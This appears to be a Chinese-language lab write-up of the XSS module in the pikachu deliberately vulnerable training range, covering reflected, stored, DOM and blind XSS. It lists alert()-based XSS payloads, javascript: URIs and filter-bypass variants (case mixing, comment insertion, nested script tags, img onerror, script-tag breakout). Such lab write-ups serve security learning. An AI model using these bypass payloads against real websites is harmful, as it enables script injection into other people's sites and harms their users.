当前位置: 首页 > article >正文

pikachu靶机-Cross-Site Scripting(XSS)

本篇文章旨在为网络安全渗透测试靶机复现教学。通过阅读本文,读者将能够对渗透pikachu靶场XSS跨站脚本攻击模块有一定的了解

原文学习链接

CSDN博主:One_Blanks

主页地址:https://blog.csdn.net/NPSM_?type=blog

一、靶机资源下载

PHPStudy:

https://www.xp.cn/php-study

pikachu:

https://github.com/zhuifengshaonianhanlu/pikachu

二、反射型XSS(get)

1.1 提交框插入XSS检测代码

# xss口令:见框就插
<script>alert("XSS")</script>

1.2 burp suite抓包并找到传参点

1.3 burp suite改包后发送数据包,查看浏览器执行结果

1.4 方法二:修改前端输入框长度限制

三、反射型XSS(post)

1.1 爆破登录框

username=admin
password=123456

1.2 插入XSS检测代码

<script>alert("XSS")</script>

四、存储型XSS

<script>alert("XSS")</script>

五、DOM型XSS

# DOM型就是将XSS输入到标签属性中了,利用标签属性进行触发
javascript:alert(23)

六、DOM型xss-x

# DOM型就是将XSS输入到标签属性中了,利用属性进行触发
javascript:alert(23)

七、XSS盲打

1.1 插入XSS检测代码

<script>alert("xss")</script> 

1.2 查看提示

1.3 根据提示进入登陆地址

http://192.168.60.181/pikachu/vul/xss/xssblind/admin_login.php
#根据自己靶机IP地址更换下IP

八、xss过滤

1.1 输入框输入XSS检测代码

<script>alert("xss")</script>

1.2 使用其他XSS检测代码尝试

大小写混淆过滤,<scRipt>alert(14)</sCript>
使用注释进行干扰: <sc<!--test--> ript> alert(14)</scr <--test--> ipt>
重写: <scri<script> pt> alert(14)</scri</script> pt>
使用img标签<img src=xss onerror="alert(11)">

九、 xss之htmlspecialchars

1.1 输入框输入XSS检测代码

<script>alert("xss")</script>

1.2 重新构造XSS检测代码

# htmlspecialchars()函数把预定义的字符转换为HTML实体
# &(和号)成为&
# “(双引号)成为”
# ‘(单引号)成为’
# <(小于)成为<
# ‘>’(大于)成为>
javascript:alert("XSS")

十、xss之href输出

javascript:alert("XSS")

十一、xss之js输出

1.1 插入xss检测代码

<script>alert(1)</script>

1.2 重构xss检测语句

</script><script>alert(1)</script>
# 前面多写一个</script>与网站代码中的<script>形成闭合,再去执行我们的<script>alert(xss)</script>


http://www.kler.cn/a/507616.html

相关文章:

  • 网络IO与IO多路复用
  • 【c++继承篇】--继承之道:在C++的世界中编织血脉与传承
  • IO模型与NIO基础二
  • 【算法】枚举
  • excel仅复制可见单元格,仅复制筛选后内容
  • 3 前端(上): Web开发相关概念 、HTML语法、CSS语法
  • 【大数据】机器学习------支持向量机(SVM)
  • Qwen-72B-Chat-Int8:智能对话的新标杆
  • 《前端最新Vue2+Vue3基础入门到实战项目全套教程,自学前端vue就选黑马程序员,一套全通关!》学习笔记总目录
  • 网格参数化,Mesh parameterization processing
  • 文件操作:系统IO
  • 【Linux】gdb_进程概念
  • 算法(蓝桥杯)贪心算法7——过河的最短时间问题解析
  • Spring-boot3.4最新版整合swagger和Mybatis-plus
  • 探索Node.js的Net模块:构建强大网络应用的基石
  • Ubuntu、Windows系统网络设置(ping通内外网)
  • 【全开源】跑腿小程序:智能派单、同城配送、校园跑腿及预约取件(用户端+骑手端)
  • 回归预测 | MATLAB实TCN时间卷积神经网络多输入单输出回归预测
  • 图数据库 | 19、高可用分布式设计(下)
  • mybatis延迟加载、缓存
  • MongoDB 学习指南:深入探索非关系型数据库
  • mongodb详解二:基础操作
  • Windows系统安装 Rust 及其配置
  • FFCA-YOLO模型详解
  • 站点服务器和节点服务器的区别是什么?
  • vant组件库的按需导入导出